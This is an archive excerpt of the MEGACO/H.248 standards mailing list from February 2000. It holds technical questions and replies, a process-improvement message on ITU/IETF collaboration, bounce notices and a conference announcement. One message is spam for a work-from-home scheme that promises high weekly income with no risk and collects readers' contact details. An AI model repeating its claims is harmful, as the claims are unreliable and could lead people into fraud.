AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA==

--0__=MecBGc2twFqQRvF0DktLnZ8FvxnBorWurWLbHLZocgKRjIOraXuM9zw7--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 28 15:29:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19405
	for ; Mon, 28 Feb 2000 15:29:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.15A1F650@standards.nortelnetworks.com>; Mon, 28 Feb 2000 15:25:46 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 61977 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 28 Feb 2000 15:25:13 -0500
Received: from ns-inetext.inet.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9BE5D3F0@standards.nortelnetworks.com>; Mon, 28 Feb 2000 15:15:12
          -0500
Received: from harpo.inetint.com (harpo [172.16.99.60]) by ns-inetext.inet.com
          (8.9.2/8.9.2) with ESMTP id OAA19425 for
          ; Mon, 28 Feb 2000 14:17:21
          -0600 (CST)
Received: from inet.com ([172.16.63.49]) by harpo.inetint.com (Netscape
          Messaging Server 3.6)  with ESMTP id AAA650D for
          ; Mon, 28 Feb 2000 14:22:46 -0600
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <200002181442.JAA26553@hotair.hobl.lucent.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38BAD7FC.A3BB332@inet.com>
Date:         Mon, 28 Feb 2000 14:18:04 -0600
Reply-To: Mart Nurmet 
Sender: "Media Gateway Control (megaco)"
              
From: Mart Nurmet 
Organization: Inet - Product Line Management
Subject:      Information Request (Billing?)
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I am looking for information if there has been any work done to generate
a package to bill in MEGACO.  From my look at the available information
there does not seem to be any.  I am a new member on this distribution
list and do not have much history within this group.

Thank you,
-Mart


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 28 16:56:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21083
	for ; Mon, 28 Feb 2000 16:56:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.41C85650@standards.nortelnetworks.com>; Mon, 28 Feb 2000 16:52:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 62134 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 28 Feb 2000 16:50:57 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.FC44C640@standards.nortelnetworks.com>; Mon, 28 Feb 2000
          16:50:57 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 28 Feb 2000 15:53:14 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Mon, 28
          Feb 2000 16:52:50 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          ; Mon, 28 Feb 2000 16:52:49 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF8236.27A31FB0"
Message-ID:  
Date:         Mon, 28 Feb 2000 16:52:49 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Information Request (Billing?)
X-To:         Mart Nurmet 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF8236.27A31FB0
Content-Type: text/plain

The intention is that the statistics defined in various packages can be used
to create bills.  The protocol provides the means for the MGC to collect the
statistics, in the case where the billing system collects its input from the
MGC.  The case where the MG itself reports to the billing system places no
requirements on the Megaco protocol.

> -----Original Message-----
> From: Mart Nurmet [SMTP:mart.nurmet@INET.COM]
> Sent: Monday, February 28, 2000 3:18 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Information Request (Billing?)
>
> I am looking for information if there has been any work done to generate
> a package to bill in MEGACO.  From my look at the available information
> there does not seem to be any.  I am a new member on this distribution
> list and do not have much history within this group.
>
> Thank you,
> -Mart

------_=_NextPart_001_01BF8236.27A31FB0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Information Request (Billing?)




The intention is =
that the statistics defined in various packages can be used to create =
bills.  The protocol provides the means for the MGC to collect the =
statistics, in the case where the billing system collects its input =
from the MGC.  The case where the MG itself reports to the billing =
system places no requirements on the Megaco protocol.


    

    -----Original Message-----

    From:   Mart Nurmet [SMTP:mart.nurmet@INET.COM]

    Sent:   Monday, February 28, 2000 3:18 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Information Request =
(Billing?)

    


    I am looking for information if there =
has been any work done to generate

    a package to bill in MEGACO.  =
From my look at the available information

    there does not seem to be any.  =
I am a new member on this distribution

    list and do not have much history =
within this group.

    


    Thank you,

    -Mart

    




------_=_NextPart_001_01BF8236.27A31FB0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 28 19:30:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24316
	for ; Mon, 28 Feb 2000 19:30:00 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AC223D80@standards.nortelnetworks.com>; Mon, 28 Feb 2000 19:26:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 62358 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 28 Feb 2000 19:24:46 -0500
Received: from auemail2.firewall.lucent.com (192.11.223.163) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.130A7500@standards.nortelnetworks.com>; Mon, 28 Feb 2000
          19:14:45 -0500
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id TAA20010
          for ; Mon, 28 Feb 2000 19:18:11
          -0500 (EST)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com
          [199.118.135.2]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3)
          with SMTP id TAA19999; Mon, 28 Feb 2000 19:18:09 -0500 (EST)
Received: from nj7460gratta.ho.lucent.com by hotair.hobl.lucent.com
          (SMI-8.6/EMS-1.5 sol2) id TAA24112; Mon, 28 Feb 2000 19:18:00 -0500
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.01d)
Message-ID:  <200002290018.TAA24112@hotair.hobl.lucent.com>
Date:         Mon, 28 Feb 2000 19:16:45 -0500
Reply-To: gratta@lucent.com
Sender: "Media Gateway Control (megaco)"
              
From: Greg Ratta 
Subject:      Lessons learned from H.248/Megaco collaboration
X-To:         pierre-andre.probst@swisscom.com, sob@harvard.edu,
              fred@cisco.com, Federico.Tosco@CSELT.IT, ggf@lucent.com,
              taylor@NORTELNETWORKS.COM
X-cc:         ITU-SG16@mailbag.cps.intel.com, hbertine@lucent.com,
              garyfishman@lucent.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

As we step back from the events of the recent interactions of the
ITU and the IETF concerning the "collaboration" on the
specification of H.248 / MEGACO, it is clear - at least to me - that
there is opportunity for improvement in the manner in which such
collaboration is executed.  I have purposefully delayed the
transmission of this message to allow some reduction of the
tension;  however, it is important that this issue be addressed
before we forget entirely, because I fear that two potential results
could be either resistance to any future collaboration or the
establishment of a rigid 'one size fits all' process.  Either of these
results would be detrimental to the operations of both organizations
and to the needs of the industry and its consumers.

It surprised me that, even at the final hours of determination of the
ITU specification, there was no written agreement between the
management teams of the respective organizations.  In horror, I
watched the various collections of individuals spinning towards
conclusions without a common understanding of what agreements
existed, or what the next step should be in the sister organization
(and sometimes in their own organization!), or how to reach the end
game.

My conclusion is that the single most effective process
improvement would be to require that an agreement on the process
/ project plan be written down and signed-off by the "appropriate
management team" of the two organizations at the start of any
future collaboration.  TSAG and the ISOC VP for Standards should
draw up this requirement and indicate what the "appropriate
management team" means.  Such an agreement would allow the
leadership to manage the expectations of their respective
organizations and form a structure for the front line - essentially
volunteer - group leaders to follow.

My comments should not be mis-interpretted as a criticism of any
one - or collection - of individuals;  we all share some level of
culpability for the manner in which past events have played out.
My desire is to improve the chance of success in future
collaboration.  Success for me means not only achieving the most
technically correct and optimal specification, but respecting the
dignity of all the participants and the processes of the involved
organizations.




Greg Ratta, Vice Chairman, ITU-T WP 1/11, Broadband Signalling
Lucent Technologies
Tel: +1 732 332 5174, Fax: +1 732 949 1196, gratta@lucent.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 04:54:58 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA14082
	for ; Tue, 29 Feb 2000 04:54:58 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.90D2B7E0@standards.nortelnetworks.com>; Tue, 29 Feb 2000 4:50:56 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 62864 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 04:49:19 -0500
Received: from mailboy.huawei.com.cn (202.96.135.134) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.54805DB0@standards.nortelnetworks.com>; Tue, 29 Feb 2000
          4:49:15 -0500
Received: from q17326 ([10.105.30.242]) by mailboy.huawei.com.cn (Netscape Mail
          Server v2.02) with SMTP id AAA21194 for
          ; Tue, 29 Feb 2000 17:39:38 +0800
X-mailer: FoxMail 3.0 beta 2 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <20000229093938.AAA21194@q17326>
Date:         Tue, 29 Feb 2000 17:46:31 +0800
Reply-To: Xiuping Qiu 
Sender: "Media Gateway Control (megaco)"
              
From: Xiuping Qiu 
Organization: Huawei Technologies
Subject:      Questions About MEGACO/H.248 Version 16
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id EAA14082

Hi,All

I meet some questions when reading MEGACO/H.248 Version 16.

1. In Appendix A

Step 23: "  The MGC now sets up both MG1 and MG2 to be ready to detect the next off-hook event. See step 1. Note that this could be the default state of a termination in the null context, and if this were the case, no message need be sent from the MGC to the MG. Once a termination returns to the null context, it goes back to the default termination values for that termination.  "

I wonder how to implement the  default state, e.g. request MG to detect the offhook event. And even if this were the case,I suppose messages also need be sent from the MGC to the MG to ask MG to detect offhook event because the RequestID now is different from the previous one.

2. In 7.1.6 Stream Descriptor

" StreamIDs are of local significance between MGC and MG and they are assigned by the MGC.  Within a context, StreamID is a means by which to indicate which media flows are interconnected:  streams with the same StreamID are connected  "

I am wondering whether StreamID will conflict  with Topology.

Let's  suppose there are 2 Terminations ( T1 and T2)  in a context . There is one stream on the 2 Terminations each but the StreamIDs are different. So  the media flows are not interconnected. But if the Topology Descriptor of the Context is
Bothway”, What will happen?

3  In  6.2.5  Root Termination

" Root thus may have properties and events (signals and statistics are not appropriate for root).  "
“
It is rather easy  to imagine  events of   normal Terminations.  But I cannot think of  a case of using events for Root.  Can you  give an example ?  And what events may a Root have ?

4  In  7.1.1  Specifying Parameters

"  Unspecified mandatory parameters (i.e. mandatory parameters not specified in a descriptor) result in the command responder retaining the previous value for that parameter.  Unspecified optional parameters result in the command responder using the default value of the parameter.      Whenever a parameter is underspecified or overspecified, the descriptor containing the value chosen by the responder is included as output from the command.  "

Queston:
It seems that "optional" “ here is not the same as that in Annex A defined in ASN.1.  Will you   expain them in detail? And what's the difference between "Unspecified Optional"  “ and  "Optional" . ”.And how to identify a unspecified parameter as mandatory or optional?

When a  Termination is Subtracted from a  Context, the Topology  should be changed, but how? There is no description in the protocol .



Thanks,
Xiuping Qiu
_______________________________________________

Xiuping Qiu
Huawei Technologies Co., Ltd.
Mail to:   qiuxiuping@sz.huawei.com.cn
Tel    :   +86 755 654 4482
Visit  :   http://www.huawei.com.cn
_______________________________________________


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 08:17:19 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16221
	for ; Tue, 29 Feb 2000 08:17:18 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D7FBF7F0@standards.nortelnetworks.com>; Tue, 29 Feb 2000 8:13:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 63166 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 08:12:25 -0500
Received: from ferrero.ferrero.de by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.50798730@standards.nortelnetworks.com>; Tue, 29 Feb 2000 8:02:25
          -0500
Received: from fer_notes_www.ferrero.de by ferrero.ferrero.de via smtpd (for
          standards.nortelnetworks.com [137.118.21.16]) with SMTP; 29 Feb 2000
          13:02:29 UT
Received: from ferrero_hp2.ferrero.de ([145.180.10.10]) by
          fer_notes_www.ferrero.de (Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))
          with SMTP id 41256894.00474BCB; Tue, 29 Feb 2000 13:58:51 +0100
Received: from ppp-227-tnt-1.rhd.smartworld.net ([216.70.121.227]) by
          ferrero_hp2.ferrero.de via smtpd (for fer_notes_www.ferrero.de
          [145.180.10.18]) with SMTP; 29 Feb 2000 13:02:13 UT
X-Mailer: Microsoft Outlook Express 4..72.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE V(null).1712.3
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  
Date:         Tue, 29 Feb 2000 06:24:40 -0500
Reply-To: Vince 
Sender: "Media Gateway Control (megaco)"
              
Comments:     RFC822 error:  Incorrect or incomplete address field found and
              ignored.
From: Vince 
Subject:      One time...
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA16221

*Earn $2000 - $5000 weekly-starting within 1-4 weeks
*78% Profit Paid Daily
*No Selling
*No Risk Guarantee
*Work from home, No overhead, or employees.
*High Tech Training & Support
*Not MLM, 100x more profitable
*Multibillion Dollar Travel Industry

The most incredible part of our business
is that ALL MY CLIENTS CALL ME!

DO YOU QUALIFY FOR OUR MENTOR PROGRAM?
ACCEPTING ONLY 12 NEW ASSOCIATES

This is not a hobby!  Serious Inquires Only!!

Please reply with the following information
NAME:
EMAIL ADDRESS:
PHONE:             (Required)
BEST TIME TO CALL:

TO:

mailto:britnn@bigfoot.com?subject=more_info


FOR MORE INFORMATION

If you are an entrepreneur or have always wanted to be your own BOSS,
read on.  We supply state-of-the-art training and a support system
that allows you to work your business from your home with just a
phone-without cold calling.  DO NOT REPLY IF YOU ARE LOOKING FOR A
"GET RICH QUICK" SCHEME or some extra cash or if you're lazy.  We are
only looking for  FOCUSED serious entrepreneurs. (Pt/FT) with the
DESIRE to  improve their lifestyle immediately.

///////////////////////////////////////////////////////////
Please remove at mailto:arp91s@netscape.net?subject=remove
///////////////////////////////////////////////////////////


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 15:33:11 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA01840
	for ; Tue, 29 Feb 2000 15:33:10 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BCF20C00@standards.nortelnetworks.com>; Tue, 29 Feb 2000 15:29:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 63804 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 15:27:55 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8CBD8050@standards.nortelnetworks.com>; Tue, 29 Feb 2000
          15:27:55 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 29 Feb 2000 14:30:20 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Tue, 29
          Feb 2000 15:29:45 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          ; Tue, 29 Feb 2000 15:29:45 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Tue, 29 Feb 2000 15:29:34 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      xGCP/SDP Extensions For ATM and Codec Specification
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I have received a Cisco document which has been submitted to the ATMSDP list
set up by Brian Rosen and also to the Media Device Control WG of the
International Softswitch Consortium.  The content of this document is
partially applicable to Megaco/H.248 as well as to SGCP and MGCP.  The
contents may be summarized as follows:

*       SGCP/MGCP-specific stuff
*       endpoint naming conventions
*       encodings of parameters in LocalControl which Megaco would place in
Local and Remote (using SDP)

*       An ATM package
*       new events: setup complete, setup failed, codec change, ptime
change, cell loss exceeded, packet loss exceeded, quality alert
*       new signal "Enable CAS type 3 packets" -- haven't a clue what this
is talking about.

*       Codec names for SDP dynamic payload types -- varieties of G.729,
G.726, G.723.1, G.727, GSM, and n x 64kbs Clear Channel

*       SDP extensions to carry ATM-related information.

All of this material needs careful study to see how it relates both to basic
requirements and to Megaco/H.248.  I have placed the document,
ATM_Extensions_xGCP_rev3.1_external_version.pdf, in the Megaco FTP site at
ftp://standards.nortelnetworks.com/megaco/docs/latest/

Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 15:46:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02065
	for ; Tue, 29 Feb 2000 15:46:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8FC30D40@standards.nortelnetworks.com>; Tue, 29 Feb 2000 15:42:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 63830 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 15:40:59 -0500
Received: from gw-us1.philips.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.FA4F6D90@standards.nortelnetworks.com>; Tue, 29 Feb 2000 15:30:58
          -0500
Received: from smtprelay-us1.philips.com (localhost.philips.com [127.0.0.1]) by
          gw-us1.philips.com with ESMTP id PAA21615 for
          ; Tue, 29 Feb 2000 15:34:26
          -0500 (EST) (envelope-from nermeen.ismail@philips.com)
Received: from smtprelay-nam1.philips.com(130.140.196.208) by
          gw-us1.philips.com via mwrap (4.0a) id xma021613; Tue, 29 Feb 00
          15:34:26 -0500
Received: from AMLMS01.DIAMOND.PHILIPS.COM (amlms01sv1.diamond.philips.com
          [161.88.79.213]) by smtprelay-us1.philips.com
          (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA20805 for
          ; Tue, 29 Feb 2000 15:34:25
          -0500 (EST)
Received: by AMLMS01.DIAMOND.PHILIPS.COM (Soft-Switch LMS 4.0) with snapi via
          AMEC id 0056910003896324; Tue, 29 Feb 2000 14:34:08 -0600
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; name="MEMO 02/29/00 14:34:41"
Content-Disposition: inline
Message-ID:  <0056910003896324000002L142*@MHS>
Date:         Tue, 29 Feb 2000 14:34:08 -0600
Reply-To: nermeen.ismail@PHILIPS.COM
Sender: "Media Gateway Control (megaco)"
              
From: nermeen.ismail@PHILIPS.COM
Subject:      xGCP/SDP Extensions For ATM and Codec Specification
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA02065

                   Status Distribution February 29, 2000 14:34:41                        

Sent by AMAUO01

The message regarding "xGCP/SDP Extensions For ATM and Codec Specification" sent on February 29, 2000 21:34:41 was sent by

Status Recipient
          Type                To
          Native Name         MEGACO@STANDARDS.NORTELNETWORKS.COM
          Foreign Native Name MEGACO@STANDARDS.NORTELNETWORKS.COM/n/n/nSMTP



Recipients

Status Reporters
          Type                From
          Name Domain         LOTUS
          Native Name         CN=Nermeen Ismail/OU=SVL/OU=BE/O=PHILIPS@AMEC
          Foreign Native Name CN=Nermeen Ismail/OU=SVL/OU=BE/O=PHILIPS/nAMEC/n/n
          Organization        PHILIPS
          Org Unit 1          BE
          Org Unit 2          SVL
          Last Name           Ismail
          First Name          Nermeen



Status          769
Explanation     Invalid recipient

X.400 Status    769
Explanation     Error transferring to ARJ008M/M/SERVER/PHILIPS mail.box; Maximum hop count exceeded.  Message probably in a routing loop.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 15:58:12 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02304
	for ; Tue, 29 Feb 2000 15:58:12 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3F2FFF80@standards.nortelnetworks.com>; Tue, 29 Feb 2000 15:54:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 63867 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 15:54:06 -0500
Received: from gw-us1.philips.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.CFA1C280@standards.nortelnetworks.com>; Tue, 29 Feb 2000 15:44:06
          -0500
Received: from smtprelay-us1.philips.com (localhost.philips.com [127.0.0.1]) by
          gw-us1.philips.com with ESMTP id PAA24106 for
          ; Tue, 29 Feb 2000 15:47:33
          -0500 (EST) (envelope-from nermeen.ismail@philips.com)
Received: from smtprelay-nam1.philips.com(130.140.196.208) by
          gw-us1.philips.com via mwrap (4.0a) id xma024102; Tue, 29 Feb 00
          15:47:33 -0500
Received: from AMLMS01.DIAMOND.PHILIPS.COM (amlms01sv1.diamond.philips.com
          [161.88.79.213]) by smtprelay-us1.philips.com
          (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA23603 for
          ; Tue, 29 Feb 2000 15:47:31
          -0500 (EST)
Received: by AMLMS01.DIAMOND.PHILIPS.COM (Soft-Switch LMS 4.0) with snapi via
          AMEC id 0056910003896662; Tue, 29 Feb 2000 14:47:14 -0600
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; name="MEMO 02/29/00 14:47:28"
Content-Disposition: inline
Message-ID:  <0056910003896662000002L122*@MHS>
Date:         Tue, 29 Feb 2000 14:47:14 -0600
Reply-To: nermeen.ismail@PHILIPS.COM
Sender: "Media Gateway Control (megaco)"
              
From: nermeen.ismail@PHILIPS.COM
Subject:      xGCP/SDP Extensions For ATM and Codec Specification
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA02304

                   Status Distribution February 29, 2000 14:47:28                        

Sent by AMAUO01

The message regarding "xGCP/SDP Extensions For ATM and Codec Specification" sent on February 29, 2000 21:47:28 was sent by

Status Recipient
          Type                To
          Native Name         MEGACO@STANDARDS.NORTELNETWORKS.COM
          Foreign Native Name MEGACO@STANDARDS.NORTELNETWORKS.COM/n/n/nSMTP



Recipients

Status Reporters
          Type                From
          Name Domain         LOTUS
          Native Name         CN=Nermeen Ismail/OU=SVL/OU=BE/O=PHILIPS@AMEC
          Foreign Native Name CN=Nermeen Ismail/OU=SVL/OU=BE/O=PHILIPS/nAMEC/n/n
          Organization        PHILIPS
          Org Unit 1          BE
          Org Unit 2          SVL
          Last Name           Ismail
          First Name          Nermeen



Status          769
Explanation     Invalid recipient

X.400 Status    769
Explanation     Error transferring to ARJ001M/M/SERVER/PHILIPS mail.box; Maximum hop count exceeded.  Message probably in a routing loop.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 17:32:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04201
	for ; Tue, 29 Feb 2000 17:32:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6921AFC0@standards.nortelnetworks.com>; Tue, 29 Feb 2000 17:28:36 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 64064 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 17:26:37 -0500
Received: from ziggy.stardust.com (205.184.205.34) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.BC208D60@standards.nortelnetworks.com>; Tue, 29 Feb 2000
          17:16:37 -0500
Received: from WHITESTAR (dhcp204-106.stardust.com [205.184.204.106]) by
          ziggy.stardust.com (8.9.3/8.9.3/Debian/GNU) with SMTP id OAA23445;
          Tue, 29 Feb 2000 14:18:25 -0800
X-Sender: martinb@stardust.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <3.0.5.32.20000229141821.009eaaf0@stardust.com>
Date:         Tue, 29 Feb 2000 14:18:21 -0800
Reply-To: Marty Bickford 
Sender: "Media Gateway Control (megaco)"
              
From: Marty Bickford 
Subject:      Call for Presentations: iBAND4 June 11-14
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Call for Papers - http://www.stardust.com/iband4/conference.htm
---------------

iBAND4 - Advancing the Technology of Internet Bandwidth
         Management and Traffic Engineering

         Technical Conference - June 11-13
         Workshops with DMTF  - June 14

iBAND4 is the fourth in a series of events focused on innovation in the
areas of bandwidth management and traffic engineering. iBAND5 will be
co-located and run together with ISPCON.

The goal of iBAND is to help IP network professionals at ISP's and
enterprise's understand the direction of work being done by standards
groups and vendors. These events have also become a meeting place for the
folks driving innovation in the areas of bandwidth management and traffic
engineering.

iBAND attendees include IP network engineers, network architects,
engineering and business executives, MIS and IT professionals, product and
development managers, researchers and other innovators.

You are invited to submit a presentation proposal. To aid you in submitting
a proposal, please visit http://www.stardust.com/iband4/conference.htm

If you do not wish to present, we hope you will mark your calendar to
attend this fun and innovative conference. Email or call me with any
questions.

Sincerely,
Marty

---
Marty Bickford  - 408.879.8080 (8081-fax)
Stardust.com - http://www.stardust.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 29 22:19:14 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08144
	for ; Tue, 29 Feb 2000 22:19:14 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.78855340@standards.nortelnetworks.com>; Tue, 29 Feb 2000 22:15:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 64616 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 29 Feb 2000 22:13:23 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
